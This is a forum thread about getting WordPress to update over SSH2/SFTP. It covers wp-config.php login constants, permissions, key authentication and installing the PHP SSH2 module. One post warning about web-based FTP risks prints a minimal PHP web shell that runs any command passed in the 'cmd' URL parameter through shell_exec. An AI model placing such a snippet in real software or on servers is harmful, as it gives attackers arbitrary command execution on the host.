Confused about WordPress and SFTP

Does Wordpress support using SFTP on port 22? Normally they use FTP on port 21 (if I recall correctly).

wordpress doesn't support sftp on wp-admin control panel

@ruchirablog:

wordpress doesn't support sftp on wp-admin control panel

Nonsense. WordPress's backend supports FTP, FTPS (SSL) and SSH2 (password or public/private keys) (see attached screenshot).

~~https://dl.dropboxusercontent.com/u/189 … pdates.jpg">https://dl.dropboxusercontent.com/u/18914/wordpress-updates.jpg" />

I use SSH (via a non-standard port) to update WordPress and plugins without issue. You can even set login constants in wp-config.php so that you don't have to keep re-entering login details:

define('FTP_BASE', '/var/www/wordpresswebsite/');
define('FTP_CONTENT_DIR', '/var/www/wordpresswebsite/wp-content/');
define('FTP_PLUGIN_DIR', '/var/www/wordpresswebsite/wp-content/plugins/');
define('FTP_USER', 'SSHUSERNAME');
define('FTP_PASS', "SSHPASSWORD");
define('FTP_HOST', 'SERVERIPADDRESS:SSHPORT');

(I've only ever felt comfortable including login details in wp-config.php when wp-config.php isn't in the root WordPress folder, its default location. I move all wp-config.php files to a non-web accessible location, out of the root WordPress folder.)

If you set the login constants in wp-config.php, I've always found that the first time you try to update either WordPress itself or a plugin WordPress will 'hang' for a short while before giving a connection error. For some reason, despite the presence of the login constants, WordPress seems to initially default to FTP (port 21) - if you then check the 'SSH2' checkbox and click 'Proceed' WordPress will use the login constants and all subsequent updates will work flawlessly.

My wp-content folder is owned by the Apache user (www-data:www-data) and has the recommended 755 permissions (644 for files).

All that said, I'm not sure why you are receiving connection errors, Boomfelled. I'm assuming when you say 'sftp connection from a WordPress install' you mean SSH? And are checking the 'SSH2' checkbox and not 'FTPS (SSL)'?~~

Hi Mark,

Many thanks for your informative reply. You're right, it's possible to get WP to connect via SFTP and I know this because I've done this before at another host.

> My wp-content folder is owned by the Apache user (www-data:www-data) and has the recommended 755 permissions (644 for files)

I made the change a while back but found that whilst this solution worked I couldn't connect via a standard SFTP Client.

Your advice as a whole is almost certainly the way to go as I'm not using authentication keys and as such don't have the SSH2 facility available in WP.

I'll start by using Auth Keys and also take your advice with regards to wp-config.

Thanks again for taking the time to help me out.

Cheers!

Are you saying that 'SSH2' isn't shown as an option in your current WordPress install?

Just so you know, you don't have to use auth keys to use SSH in WordPress's dashboard. If you enter your SSH password in WordPress's update screen, leave the auth key fields blank, select 'SSH2' and click 'Proceed', WordPress should update with no issues. (Currently I don't use auth keys, just a lengthy, randomly-generated password, while limiting SSH logins by IP address and accessing SSH via a non-standard port (not 22). I'm comfortable that this is secure enough, though I'll probably switch to auth keys in the future.)

Hi Mark,

Thanks for getting back to me.

The SSH2 option isn't showing up on my WordPress install, I just have FTP and FTPS(SSL).

I am using SSH Key Pair authentication now and that seems to be working fine via shell and my FTP client, I've also disabled password authentication following the library suggestions (https://library.linode.com/securing-your-server).

Is there a WP Config setting that I need to set to allow the use of SSH2 ?

Thanks again.

I recommend not using web based FTP because of the security risk if an attacker breaks into the account. The web based installer is useful, but if you're going to use it, you should configure command line programs to quickly make the WordPress files writeable then non writeable again after you install the plugin or theme.

$c = $_GET['cmd'];

$r = shell_exec( $c );

echo $r;

Here's how to enable the 'SSH2' option in the WordPress interface:

~~[http://codex.wordpress.org/Editingwp-config.php#EnablingSSHUpgradeAccess" target="blank">](http://codex.wordpress.org/Editing_wp-c … ade_Access">http://codex.wordpress.org/Editingwp-config.php#EnablingSSHUpgrade_Access](

There's also a plugin available (linked to in the above Codex entry):

http://wordpress.org/plugins/ssh-sftp-updater-support/

Hello everyone,

I installed the SSH2 PHP Module which allowed WordPress to use the SSH2 protocol:

sudo apt-get install libssh2-php

Thanks for all your help. :D